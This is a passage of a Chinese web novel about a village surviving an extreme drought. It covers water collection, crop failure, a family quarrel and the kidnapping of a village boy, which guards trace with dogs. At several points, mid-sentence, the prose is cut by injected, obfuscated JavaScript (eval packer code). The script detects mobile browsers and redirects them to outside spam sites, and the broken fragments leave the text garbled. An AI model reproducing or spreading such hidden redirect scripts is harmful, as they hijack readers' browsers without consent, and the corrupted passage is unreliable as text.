可是如今河流的水位低到令人发指,甚至没有食指的一个指节深。面对人类和农田的大量需求,河流早已不堪重负,怕是过不了多久就会彻底断流。 储水库里倒是储了不少水。 但是这些水比起贺家村农场的每日需水量还是不够看——要是只用来提供饮用水,满打满算勉强能坚持两个月,可要是加上农田、作物对水的需求,顶多半个月就会歇菜。 面对日益减少的河水流量,人们脸上的笑容越来越少,眉头越皱越紧,也就几户有水井的人家生活状况好些。 但也好得不多。 贺隽秋看着水井叹气:“哥,咱家的水井也要没水了,你看,都见底了。” 贺隽夏走过去看了眼水井,果然能清晰地看见水井的底部,里面的水大约只有手指到手肘关节的深度,水桶放下去拉上来还取不回半桶水。 贺隽夏安慰道:“没事,咱家的水井应该还能再撑一段时间。而且我听二叔说负责人准备成立两个小组,一组负责打生活用水,一组负责打农业用水。” 贺隽秋疑惑:“可是河里没水了呀?” 贺隽夏更加疑惑地反问:“难道世界上就只有一条河吗?” 贺隽秋:…… 贺隽秋不禁伸出手摸摸脑袋,救命,不是说高中是智商巅峰期吗? 她变傻了? 贺隽夏看着贺隽秋怀疑人生的小表情哈哈大笑,发出无情的嘲讽:“你真傻,真的。” 贺隽秋:…… 贺隽秋捏起拳头让贺隽夏好好感受了一番爱的铁拳。张智宸听见动静跑过来,兴奋地表示自己也要加入战斗。 贺隽夏:“宸宸,小夏哥平时对你好不好,想不想吃巧克力,挠你小秋姐姐的胳肢窝。” 张智宸也是个皮猴子。 他听见贺隽夏的话立刻立正,举起右手敬礼道:“yes,sir.” 话音落下的瞬间。张智宸猛地抱住贺隽夏的大腿大声喊道:“小秋姐姐,快呀,打倒大坏蛋。” 贺隽夏:??! 贺隽夏震惊地看着叛变的小屁孩儿,发出“气急败坏”的威胁:“张智宸,你完蛋了,你以后都没有巧克力吃了。” 张智宸:QWQ 张智宸委屈巴巴地扬起脸:“可是妈妈说过男孩子不能欺负女孩子?” 贺隽秋给张智宸撑腰:“小孩子都知道不能欺负女孩子,宸宸别怕,有姐姐在,姐姐给你吃巧克力。” 张智宸高兴地呲起大牙。 贺隽夏无比伤心:“不能欺负女孩子,就要欺负男孩子吗?” 张智宸义正言辞:“我听见了,是你先说小秋姐姐笨,我不算欺负你。” 贺隽秋:嘻嘻 然而下一秒她脸上的笑容就因为张智宸的第二句话僵住。 “虽然我也觉得小秋姐姐有点笨,但是妈妈说过,不能把这种心里话说出来,听见的人会很伤心。” 贺隽秋:不嘻嘻 贺隽夏怜爱地看了小屁孩儿一眼,十分不走心地在心里道了一声阿门。 可怜的小孩还不知道自己已经得罪了两个人,十分有正义感地挡在贺隽秋身前:“别怕,小秋姐姐,我保护你。” 贺隽秋磨牙:“你们两个商量好的吧。” “什么商量好的?” 终于开完组长会议的曾秀平和贺成材刚一回家就听见女儿气冲冲的声音。 贺隽秋告状:“妈,哥说我笨,我是你的孩子,他说我笨就是在骂你们笨。” 好一个连带责任。 贺隽夏从后院的菜地悄悄溜走,把张智宸一个人留下来接受拷打。 …… 组长会议结束的第二天,农业水小组的每日名单就新鲜出炉,而生活用水小组的名单也在贺强国挨家挨户地询问中有了雏形。 ——负责人规定每家每户必须派人参加生活用水小组,不然这家人就不能用储水库里的水。 有些人一听就不乐意了。 储水库是他们冒着中暑的风险一点一点挖出来的,凭什么他们不能用水库里的水? 贺强国:…… 贺强国顿了几秒道:“水库的确有你们的参与,但是你们也都拿了工资,难不成你们出去给别人修房子,修好了房子还得让你们住?” “天底下哪有这样的道理?” 贺强国看着面色各异的众人,表情严肃道:“负责人的行事作风你们都清楚,那是一个唾沫一个钉。说是什么就是什么。” “虽然负责人不强制所有家庭报名参加,但是等咱们村的河彻底断流,有些人再想加入进来可就难了,你们要想清楚。” 最终在贺强国的威逼利诱下,住在贺家村的所有家庭都报了名,便是去年来的两批新人也自发凑成类似于家庭的小集体或是以个人名义加入生活用水小组。 贺隽夏一家四人都要是耕种小组的成员,都要参加农业用水的取水工作,负担比较重,所以生活用水方面只有贺隽夏和贺成材两个人参加。 这天两人早早起床骑上三轮车赶到集合地点,村口已经有好几个人守着了。 负责带路的两位保卫科成员是张全和陈风阳,他们都是贺成材的徒弟。 这当然不是巧合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115233|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 俗话说得好,人情越用越多,关系越用越紧。除非两者社会地位相差巨大,否则有关系不用就是大傻蛋。 同组的一群人互相打过招呼,张全和陈风阳把一部分提前准备好的储水容器放在贺隽夏带来的三轮车上,一人骑着一辆三轮车在前面带路。 大概走了半个多小时,一行人顶着满头大汗终于来到取水地点——一个瀑布下的水潭。 大家手忙脚乱地把车上的储水容器按进水里,一人用枯树枝试了试水潭的深度道:“这里也不深啊,估摸着就半米,不知道能坚持多久。” 张全解释道:“这是县里的指定取水点,我们的运气还算好,没有被分到下游,不然心里都膈应。” 说话的人点头道:“也是,就怕上游的人乱搞,把水搞臭搞脏。” 另一人指着水潭旁高高低低寸草不生的鹅卵石地面道:“你等水多的时候来试试,至少有一米五,上面砸下来的瀑布水都能憋得喘不上气。” “你当我傻呢。” 最先说话的人把手放进容器取水地的下游感叹道:“还是水里凉快啊,最近越来越热,听说县里医院治中暑的药都用完了,人送过去没办法治,死了好多老人。” 贺隽夏蹲下来用双手捧起河水往脸上浇,冰凉的河水带来缕缕凉意却无法抵抗烈日下的暴晒。 他微抬头看向天空,双目瞬间被刺眼的阳光照得睁不开眼,下意识眯起眼睛分泌出生理性泪水。 一人道:“这该死的鬼天气还要多久啊!” 另一人吐槽:“你还有力气说话呢,我真是说话都嫌热。” 众人默契地加快了取水的速度,等他们将所有容器装满水,水潭的水位明显下降了一个深度。 这一天,他们来来回回跑了四趟。 最后一趟离开时,贺隽夏用先前的枯树枝试了试水潭的深度,发现水潭的深度直接降低了一半。 好在上游的瀑布还在源源不断地往下送水,水流量虽然不大却比贺家村那条支流的情况好上不少,等第二天下一个小组来取水时,水潭应该能恢复到原有的深度。 应该吧? 时隔半月后贺隽夏和小组成员再次来到水潭取水,初见时半米深的水潭刚好没过人的脚踝,原本如绸缎般流淌的瀑布变成石壁上的白色丝线。 这个取水点废了。 几个小时后,一行人终于推着终于装满水容器的三轮车回到村庄,把容器里的水倒进储水水库。 贺隽夏询问昨天去水潭取水的人,发现他们取水时水潭的深度还在小腿肚子微微偏下的位置,瀑布也不是贴在石壁上细如牛毛的白色丝线。 短短一天过去,水潭的水深就减少了近一半。恐怕等明天负责取水的小组过去,水潭已经变成小水坑。 贺隽夏立刻将情况上报给大队长贺强国,贺强国又将情况报给负责人。负责人派了好几个人去其他村子打探情况,第二天一早,天刚蒙蒙亮就匆匆去了县城。 而水潭果然如贺隽夏预料地那般变成了一个小水坑,瀑布更是不见踪影。 取水小组的人沿着河流上游走了好几公里打算碰碰运气,可惜还是一无所获,只能灰溜溜地回村。 37.第 37 章 黄昏时分,太阳刚刚下山,空气里仍然弥漫着闷热的气息,热得人心烦意乱。 负责人带回来一个糟糕的消息——周边几个村镇的固定取水点基本上都已干涸,他们以后只能必须走一个多小时的路去城郊的主干流取水。 幸运的是这条几乎横穿县城的河流是X江的最大支流的最大支流的最大支流。只要X江不断流,这条河就不会断流。 然而不会断流,不代表水流量不会减少。 事实上这条河的水流量肉眼可见地减少了一大半,而县城及其周边村镇十几万人对水的需求不仅没有减少,随着气温的升高还有增加的趋势。 贺隽夏看着河流两岸争抢位置打水的人群心情沉重。 这座城市就像走在钢丝绳上的杂技演员,一旦勉强维持的平衡被打破,顷刻间便会跌入万丈深渊。 “排队!排队!” “不要推搡,说你呢,你干什么!” 负责维持秩序的工作人员吼得嗓子都哑了却依然没能缓解混乱的场面,有几处甚至还出现了踩踏事件,好些人被压在河中拼命挣扎,场面愈发混乱。 “砰!” 一声惊天的枪响震住了所有人,匆忙赶来的工作人员立刻将踩踏区域的人群疏散,几个被压在最底下的人终于得到了喘息的空间。 所幸枪声响得很及时,没闹出大事,有个人甚至还捞了一桶水才离开。 荷枪实弹的工作人员开始在河岸边巡逻。 这些人和先前扯着嗓子维持秩序的工作人员有本质上的区别,一旦看见有人推搡插队破坏秩序,就会立刻把人揪出来。 既不让人重新排队,也不让人走,只让人站在原地眼睁睁看着别人打水。 若是有人反抗就直接武力镇压用手铐拷起来,记下名字和所属社区,有钱的罚钱,没钱的扣两天社区提供的免费米粥。 一通操作下来,任是再嚣张的人也变成了小绵羊,不敢再大放厥词、动手动脚。 而其他人见了被杀鸡儆猴的“鸡”更是安分不已,生怕自己也被盯上受罚。 混乱的场面渐渐得到控制,贺隽夏扫了眼巡逻队员腰间的老式手枪后快速收回视线。 差点忘了,还有枪。 虽然不知道为什么老式枪械不受特殊磁场的影响,但只要有这些人在,就算未来乱起来,也不至于乱得太厉害。 …… 时间转眼间来到八月。 八月的气温比七月更加极端,更加古怪,甚至可以说是前所未有——在太阳下山到朝阳升起前的这段时间,气温冷得人直打寒战。而太阳升起后,气温又瞬间高升,热得人大汗淋漓。 早晚极冷,中间极热,以至于产生了人们早上晚上穿棉袄,中午下午穿短袖短裤的奇怪景象,还有许多人因为保暖降温不到位出现了感冒或是中暑的症状。 人类经不起折腾,地里的庄稼更经不起折腾。面对如此极端的天气,县城及其周边村镇农场里99.9%的农作物都失去了生机,变成一株再也无法收获的枯草。 耕种小组的成员找不出任何有用的补救措施,只能眼睁睁看着几个月的心血毁于一旦。 然而更糟糕的事情还在后面。 由于作物大面积死亡近乎绝收,农场资金方面出现了严重问题,只发出1/4的工资,并且表明在极端天气消失前除养殖场和保卫科两个大组的成员外,其他员工全部放假。 简单来说就是农场的大部分员工失去了唯一的收入来源。 怎么办? 张夏兰领着1/4的工资忧心忡忡地回到家,看见躺在沙发上睡觉的两个儿子叹了口气,走上前收拾饭桌上用过的碗筷。 跟在她身后的人见状忍不住指责道:“你们怎么不等我们回来一起吃。” 贺有钱迷迷糊糊地睁开眼:“饿了呗。” 贺有权走进厨房打开放剩菜的柜子,瞬间又怒气冲冲地冲出来:“你们两个什么意思,还把新鲜肉炒着吃完了,一点都不给我和妈留。” “不知道现在肉有多贵吗?!” 老三贺有势不耐烦道:“吃了就吃了呗,又不是没钱买,你想吃就自己买。” 贺有权一个跨步揪住贺有势的衣领:“钱呢?你倒是给钱啊。” “一天到晚什么事也不干,全靠我和妈养,你也好意思说这种话?” 被揪住衣领的贺有势也生气了。 他伸手想掰开贺有权的手,只是娇生惯养的身体哪里抵得过干了一年多农活的人。他的打算不仅没成功,还让贺有权揪得更紧了。 贺有势涨红着脸道:“谁让你养,谁需要你养,我吃你东西了吗? 菜是妈妈种的,肉是妈买的,你不也是靠妈养? 你算什么东西,也好意思来说我。” 贺有权再次被激怒:“你个狗·日的东西,肉是老子买的,菜是老子和妈一起种的,老子给你吃给你喝,养你不如养条狗,至少狗见了主人还会摇尾巴。” “那他呢?”贺有势面红耳赤地指着贺有钱:“你怎么不骂他,就骂我一个。” 贺有钱翻白眼:“你们要打就打,别扯老子。” 惊呆了的张夏兰终于反应过来,连忙上前劝阻两个儿子:“别吵了,有权,快放手,你是哥哥,你别和你弟弟计较。” 贺有权气愤道:“我是哥哥我不和他计较,那大哥呢,大哥你又怎么说?” 张夏兰动作一顿,劝解道:“我们都是一家人,一家人算这么清干什么,快放手,你弟弟要喘不上气了。” 被怒火冲昏了头脑的贺有权完全没有注意到贺有势的情况,也根本听不见母亲的话。 眼看小儿子的脸色逐渐发青,张夏兰心一急,下意识举起手里的瓷碗砸了过去。 “砰!” 贺有权吃痛松开手,总算得到喘息机会的贺有势连忙躲在张夏兰身后委屈地告状:“妈,你看他,他要杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14130084|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,你看我脖子。” 贺有权愣愣地看着自己的双手,连忙向张夏兰解释:“不是,我没有,我没有想杀他” 然而张夏兰却用一种极其失望反感的声音指责道:“你怎么这么自私狠心,你弟弟不过是吃了点肉,你就要杀了他!” “以后我吃你一点东西,你是不是也要杀了我。” 有了人撑腰的贺有钱立即附和:“就是就是,亏你还是我哥呢。” 贺有钱也跟着道:“别吵了,咱家又不是买不起那点肉,斤斤计较干什么。” “老子斤斤计较,你说老子斤斤计较?”贺有权气急反笑:“老子要是斤斤计较还能让你们两个废物赖在家里白吃白喝大半年,你们给我滚出去!” 张夏兰听不下去了。 她气冲冲道:“他们是我儿子,我乐意养他们关你什么事,要你来指指点点。” “要走也是你走!” 贺有权的表情僵在脸上,心凉了半截,与之形成鲜明对比的是贺有钱的浑不在意和贺有势的得意洋洋。 贺有权只觉得自己好似灵魂出窍般用一种独特的第三人视角看着自己的母亲,看着这个世界上他最亲近的人。 “好,我走。” 贺有权回到自己的房间收拾好东西,头也不回地离开了家。 张夏兰看着二儿子的背影远去,愣了片刻想追上去却又被贺有势拦住:“妈,你就放心吧,二哥肯定会回来的,现在这种情况他还能去哪?” “你先让他在外面冷静冷静。” 张夏兰想想也有道理便没有再追上去,却不知二儿子这一走就再无踪影。 …… 日子一天天地过去,县城的主干流依然□□,没有让人们的日常生活受到太大的影响。 但能喝好不代表能吃好。 自从县城周边的数十个农场绝收,粮食价格便一涨再涨,需要领取免费救济餐的人越来越多。 甚至有些小区全区的人都指着救济餐活命。 然而在这样的情况下,作为救济餐的米粥却越来越稀,越来越少,一碗粥喝下肚不仅不顶饱,还让人更饿了。 糟糕的生存条件令享受过现代化生活的人痛不欲生,加上极端天气的影响,人们内心的情绪日渐压抑。 不在沉默中爆发,就在沉默中灭亡。 抢劫、盗窃、杀人、□□等恶性案件的发生率在短时间内急速升高,又因为技术原因,相关部门很难在短时间内抓住犯罪嫌疑人,一时间人人自危。 贺家村的情况比县城的情况好上不少,保卫科的巡逻队会带着狗在村里来回巡逻,一旦发现有陌生人偷偷潜入生活区,就会立刻将人驱逐出去。 若是陌生人不进入贺家村居民的生活区,只是想在山上早点吃的东西,保卫科一般都不会理会。 这种情况一直持续到一天下午,住在保卫科里的陈老太悄悄找到保卫科的吴队长,说自家孙子被绑架了。 38.第 38 章 绑架? 从陈老太嘴里听见这两个字时,吴队长还有点懵,但很快他就反应过来,表情严肃道:“你怎么知道自己孙子被绑架了?” 陈老太抖着手从口袋里掏出一张皱巴巴的纸和一块小碎布,纸上有一行潦草的字:今天晚上十点把五百块钱放在后山老房子旁边的大石头下,不要告诉别人,不然就等着给你孙子收尸吧。 “这块布是安全今天穿的短袖,安全肯定是被人给绑架了。” 吴队长盯着这句极其嚣张的话,眼神冷若刀光,仿佛要把躲在纸后的犯罪分子切成碎片。 “吴、吴队长,你说咋办呀。” “我儿子儿媳都没了,我就安全一个孙子,要是他也出了事,我也不活了。” 陈老太抽泣地抹着眼泪。 吴队长安抚道:“陈奶奶,你先别着急,对方是图财,只要他们还没拿到钱,安全那孩子肯定没事儿。” “你先跟我说说这张纸哪来的?” 陈老太哽咽道:“吃晚饭的时候安全一直没回来我就出去找他,走着走着突然有块石头砸到我脚下,这张纸就包在石头上。” 吴队长又问:“具体是在哪里被砸了石头,附近有没有看见其他人?” 陈老太:“在小学那边,安全和几个小孩子喜欢去那里玩,没有看见其他人。” 吴队长沉思:“后山是哪座山,老房子又是谁家的老房子?” 贺家村地处盆地,四面环山,单说一座后山,还真不知道是哪座山。 陈老太哽咽:“后山就是我家后面那座大山,山里的老房子是贺老五家的老宅,但是贺老五一家都搬去外地了,十几年都没回来过。” 吴队长冷静道:“看起来像熟人作案,你和安全住在保卫科,陌生人不可能知道那座山是你家后山,还知道山里有个老房子。” 陈老太整个人仿佛被一根铁锤重重地敲击,站在原地愣了好一会,而后又激动地抓住吴队长的衣袖:“对对对,肯定是熟人作案,我跟安全说过不要靠近陌生人,安全很听我话。” 吴队长眉头紧皱。 这个“熟人”极有可能是住在贺家村的人,说不定现在正在观察村里的一举一动。他们不能大张旗鼓地找人,否则对方很有可能狗急跳墙。 吴队长道:“这样,我先把这件事上报给负责人,咱们农场的负责人是三级警监,处理这种事有经验。” “求求你们了,求求你们一定要把安全找回来啊,没有他我怎么活啊。” 说着陈老太又捂着眼睛哭了起来。 吴队长扶住老太太:“您先冷静一下,我们一定会尽全力把孩子找回来。” 吴队长转身来到三楼的负责人办公室说明情况,负责人听完后脸色阴沉,对自己管辖的地方出现这种恶性案件愤怒不已。 他起身来回踱步几圈道:“你派人把贺队长叫过来,就说我要找两个大队长商量补发工资的事,让人把这件事宣扬出去。” 接着负责人打开身后的文件柜,从里面取出一叠文件道:“这些是土地征收的确认表、新员工的入职申请表和一些杂七杂八的文件,我们来找找,看有没有人的笔迹能和纸上的字对上。” …… 另一边 收到通知的贺强国丢下还没吃完的晚饭匆匆离开。 “哎,大队长,你去哪啊,这么着急?”正在路上散步的张夏兰笑着问贺强国:“出啥事了?” □□摆摆手道:“能有啥事呀?是找负责人找我谈工资的事,看样子有希望补发剩下的工资呢。” 张夏兰一愣:“你不是在骗我吧?” 贺强国笑道:“我骗你干啥。” 张夏兰也跟着笑道:“那好啊,太好了。” 贺强国急着去见负责人,没注意到她脸上的笑容有些勉强,只道:“放心吧,有好消息我肯定第一时间告诉大家。” 贺强国匆忙赶到保卫科,而农场打算补发工资的事也在有心人的宣传下传遍了贺家村。 贺强国一进负责人办公室便觉气氛不同寻常,还没等他出声,吴队长就快速将贺安全被绑架的事告诉他。 贺强国亦是脸色一遍。 贺安全是他看着长大的孩子,也是他的亲侄子,一听小孩被绑架顿时有些慌了。 “这可咋办啊?” 男人第一次遇见这种事,说话时声音都有些发颤。 负责人道:“你比我们熟悉村里的居民,你看看这张纸上的字,有没有觉得很熟悉,再想想村里哪些人的经济状况不太好,哪些人有案底。” 贺强国对着阳光举起办公桌上即使被摊平也依然有些皱巴的纸看了好几分钟,还是遗憾道:“这个字我不熟悉。” 他想了想又道:“村里经济困难的家庭不多,毕竟大家都有工作,怎么说也有点积蓄。 非要说几个就是贺根家,他有个娃娃得吃奶粉,贺山家;他老婆卖了工作,有三个孩子要养…… 张夏兰家,她大儿子和小儿子以前就好吃懒做,两个人卖了工作后去城里潇洒过一段时间,钱花完后就一直待在家里靠妈和二哥养。 对了,她二儿子贺有权打架被拘留过,上个星期还离家出走了,之后就一直没见过他人。” 负责人沉声:“你和我们仔细说说贺有权的情况,吴队,你找一找贺有权的签名。” 贺强国一五一十地将自己知道的所有关于贺有权的事说出来,吴队长也从一大堆资料里翻出了贺有权的签名。 他将贺有权的签名和纸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14152188|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字对比,惊喜道:“你们看,签名和绑架信里字的弯钩和撇捺几乎一模一样,尤其是这个力字和口字。” 负责人点点头:“再对比一下张夏兰和她大儿子小儿子的字,我怀疑是一家人团伙作案。” 贺强国也想起来道:“刚刚我过来时张夏兰还问我呢,说我这么着急去哪,是不是出什么事了!” 负责人和吴队长对视一眼,内心对这家人的怀疑再一次加深——一般人可不会一开口就问人出了什么事,顶多是询问有什么急事。 不过当务之急是找到贺安全。 就算现在把张夏兰和她的两个儿子控制起来也没用,还有可能让贺有权狗急跳墙,对贺安全动手。 负责人道:“你们觉得如果张夏兰一家是凶手,他们把人质藏在哪?” 贺强国:“后山?” 吴队长:“家里,确保人在自己的眼皮子底下。” 贺强国突然又道:“要不咱们试试用狗找找,保卫科里不是养了三条狗吗,我看电视上只要给狗闻一闻衣服,就可以让狗找到人。” 吴队长无奈:“那要特殊训练过的狗,一般的狗不行,我们科里的三条狗还是我拜托小夏训的。” 贺强国失望:“这样啊。” 他又问:“小夏家里养的两条狗行不行,我看它们挺聪明的。 主要是现在也没办法,他们绑架肯定会把人藏在大家找不到的地方,我们直接冲进去找,还会怎么说,打草惊蛇。” 贺强国拍拍胸膛:“我可以保证,小夏他家肯定不是绑架犯,他们家四个职工,不可能为了五百块钱绑架安全。” 负责人想了又想道:“行,吴队,你让陈奶奶找一见小孩常穿的衣服,派几个人以找小组长开会的名义把衣服递给贺隽夏,让他试试看。” 与此同时,贺家村村尾 张夏兰回到家忐忑不安地将农场可能会补发工资的事告诉两个儿子,她犹豫道:“农场都要补发工资了,要不我们还是算了吧,被抓到可是要拉去县里枪毙的。” 贺有势急道:“妈,哪能算啊,他都看见我和大哥的脸了,要是把他放出去,我和大哥肯定会死的。” “你舍得看我们去死吗?” 张夏兰嗫嚅:“不是说好拿到钱就放人吗,我们不能杀人啊,杀人、杀人是犯法的。” 贺有钱:“妈,绑架也是犯法的,你看看我和小弟,我们连媳妇都没有,你啥时候才能抱上孙子。” “有了500块,我们马上就能把媳妇娶回来,你也不用那么累了,让媳妇来伺候你,过几年再给你生个大胖小子,让你好好享受天伦之乐。” 张夏兰内心的天平上上下下,良久后叹了声气哑声道:“算了,你们也大了,我管不着了。 ” 39.第 39 章 “来找小秋?” 贺隽夏双手抱胸不太高兴地看着张全。 张全先警惕地左右看了一眼,确定没有其他人后才小声道:“哥,你家里没有客人吧。” “没有。” 贺隽夏从张全的回答里听出了不同寻常的意味,他打开院子外的大铁门让人先进来。 “什么事?” 张全拿出一件灰黑色的儿童T恤,小声道:“陈奶奶的孙子安全被人绑架了,负责人怀疑绑架犯就是村里的人。” 贺隽夏紧张道:“有怀疑对象吗?” 张全快速道:“这个我不太清楚,吴队长让我来问你能不能让芝麻和汤圆帮忙找找孩子,这件衣服是安全常穿的衣服,昨天穿的还没洗。” 贺隽夏面色凝重:“虽然我对芝麻和汤圆做过类似的训练,但那些训练是寻找物品,不是寻人,我不确定它们能不能找到人。” 毕竟他对两只小狗的定位就是看家犬。 张全叹气道:“没办法,现在又没监控,只能死马当活马医。” “对了,夏哥,这件事千万别告诉其他人,要是让绑架犯发现不对劲就糟了。” 贺隽夏点头:“你放心,我知道,你先跟我进来。” 贺家人正在吃晚饭,两只小狗也蹲在饭盆前努力干饭,见张全出现都有些惊讶。 “小张来了,吃饭没?” “来来来,坐下来一起吃饭,这个牌子的鱼罐头好吃,刺都是软的,一嚼就烂了,一点也不扎嗓子。” 贺成材和曾秀平热情地招呼张全坐下,贺隽夏把埋头吃鱼的张智宸叫到一旁问:“你出去玩的时候有没有看见安全?” 张智宸挠挠头:“我和安全、二狗子在小学那边玩了很久,后面我说我饿了要回来吃晚饭就先走了。” 贺隽夏:“你走的时候安全和二狗还在小学里玩吗?” “在的。” “小夏哥,咋了,他们不见了吗?” 贺隽夏摇头:“没事,我就问问,吃完饭后你在家里玩,不要出去,听见没有?” 张智宸有些不乐意。 他和两个小伙伴说好要去抓知了猴呢。 贺隽夏恐吓道:“最近有很多陌生人在山上晃悠,晚上乌漆麻黑的,万一有人贩子把你捉去卖了,你就再也见不到我们了。” 上次差点被人贩子拐走,张智宸直接被父亲揍到屁股开花。一听最近可能有人贩子拐小孩,他连忙道:“不出去了,我不出去了,你别打我屁股。” 贺隽夏好笑:“你不出去我肯定不打你屁股。” 确定张智宸给不出太多的有用信息,贺隽夏又把贺隽秋叫出来说明情况。 “等会你和张全跟着狗出去,一定要跟紧,一旦芝麻和汤圆在哪间房子前停下,你们把地址记住,但不要贸然闯进去。” “最好就像平时遛狗那样绕一圈再回来,有人问起来你们两个就说遛狗,表现得害羞一点。” 贺隽秋郑重点头:“好。” 贺隽夏把张全带来的黑色儿童T恤放在芝麻和汤圆面前,让它们仔细嗅闻。 芝麻和汤圆着衣服嗅了好一会儿,贺隽夏带着它们走出院子,蹲下来做出寻找的手势。 两只小狗蹲在原地不动。 张全紧张地问:“不行吗,小夏哥?” 贺隽夏皱起眉头,他以前的训练方式就是先让两只小狗嗅闻物品,然后把物品藏起来让它们找。 看样子芝麻和汤圆是在等他把衣服藏起来。 贺隽夏想了想,让贺隽秋先躲起来,然后从柜子里拿出一盒肉粒冻干和一件贺隽秋常穿的衣服。 他把贺隽秋的衣服放在两只小狗面前让他们仔细嗅闻,再次做出寻找的手势。 两只小狗迟疑地看向贺隽夏,贺隽夏一边打手势一边重复道:“芝麻、汤圆,去找小秋,找小秋。” 在他连续说了几遍后,两只小狗仿佛明白过来,撒开腿往贺隽秋躲藏的地方跑,乖巧地蹲在贺隽秋身前冲贺隽夏叫唤。 贺隽夏脸上露出笑容:“干得不错。” 他取出两颗冻干别喂给芝麻和汤圆,又如法炮制地让张全躲起来,指挥它们找人。 来来回回试了几次后,贺隽夏再次把灰黑色的儿童T恤衫放在两只小狗面前做出寻找的手势。 这回它们总算明白了主人的意思,起身努力嗅闻空气。 片刻后,两只小狗摇晃着尾巴离开院子朝某个方向走去。贺隽秋和张全见状立刻跟在它们后面,并且说说笑笑,做出聊天的姿态。 贺隽夏目送两人跟着狗离开。 不是他不想一起去,只是三个人太显眼,而且平时也都是贺隽秋出去遛狗。 事关贺安全的性命,方方面面都不能马虎。 …… 两只小狗离开家门后目标一致地朝村小所在的方向跑去。 贺隽秋和张全不由得在心里犯嘀咕,难不成贺安全就被关在小学里? 然而他们还没有靠近小学,就看见两只小狗在一栋平房面前蹲好坐下。 这里是张夏兰的家! 两人心里掀起惊涛骇浪,面上却仍是说笑的表情,贺隽秋蹲下来拿出两块肉干喂给芝麻和汤圆,这栋房子的门突然被人打开。 双方都是一愣。 张夏兰笑道:“我说是谁在外面呢,原来是你们啊。” 贺隽秋羞红着脸垂下头:“我,我和小张哥出来遛狗。” 张夏兰的视线落在两人十指相扣的手上,促狭道:“害羞个啥,都是大姑娘呢,耍朋友很正常。” 贺隽秋触电般抽开手,拍了拍两只小狗的屁股:“快点走,你们两个懒狗。” 她害羞道:“张婶,那个、那个我们就先走了。” 张夏兰笑道:“走吧走吧,小姑娘就是脸皮薄。” 贺隽秋和张全带着两条狗快速离开,张夏兰回到家里,松了口气道:“没事,是曾秀平家的女儿和张全遛狗约会,一看见我就臊皮跑了。” 说完她又忍不住嘲讽道:“才多大就知道勾搭男人,一看就不是好东西,你们以后找媳妇可千万别找这样的。” 贺有钱和贺有势撇撇嘴没说话。 真照他妈的的要求找老实媳妇还有个啥意思。 两人幻想着钱到手后的美好生活,殊不知一场针对绑架案的救援行为已经悄无声息地开展。 ——虽然种种迹象都表明张夏兰一家就是绑架贺安全的真凶,但消失的贺有权不能不防,说不定他就在哪个地方看着呢。 傍晚,日落西山,气温骤降。 巡逻队举着火把来回在村子里巡逻,夜色掩盖了人类的痕迹,陈老太步履蹒跚地踏上去往后山老屋的路。 张夏兰出声叫住她:“安全她奶,你去哪啊?” 陈老太勉强道:“我出来散散步。” 张夏兰用余光微不可察地来回扫过左右两边,确定没有人跟在陈老太身后才笑道:“这么晚了还出来散步,小心点啊。” 陈老太点点头没说话。 两人就此分开,而在陈老太走远后,张夏兰立刻迈着小碎步躲过巡逻队溜回家。 她小声道:“老太太去后山了,咱们要不要偷偷过去。” 贺有钱摆摆手:“我在石头下面塞了张纸让她换地方放钱,咱们警惕点,电视上那些警察都会偷偷埋伏在附近吗?” 张夏兰惊讶:“我看她不像报警的样子啊。” 贺有势:“妈,你听大哥的,小心点准没错。” 张夏兰迟疑:“安全那孩子还没吃晚饭,要不我去下去给他喂点吃的?” 贺有势不耐烦:“吃吃吃,你看咱家还有吃的吗,你儿子都饿肚子了,你还惦记个小孩。” 张夏兰嘴唇蠕动到底是没说话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14168066|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而他们三人的对话都被趁着夜色悄悄溜进他们家院子的保卫科军人听得清清楚楚。 看起来贺有权似乎没有参与这桩绑架案? 不过孩子会被藏在哪呢? “踏踏踏……” 巡逻队的脚步声适时响起,一人趁机翻出院子,动作轻巧灵动宛如无声的幽灵使者,几乎没有发出丁点声音。 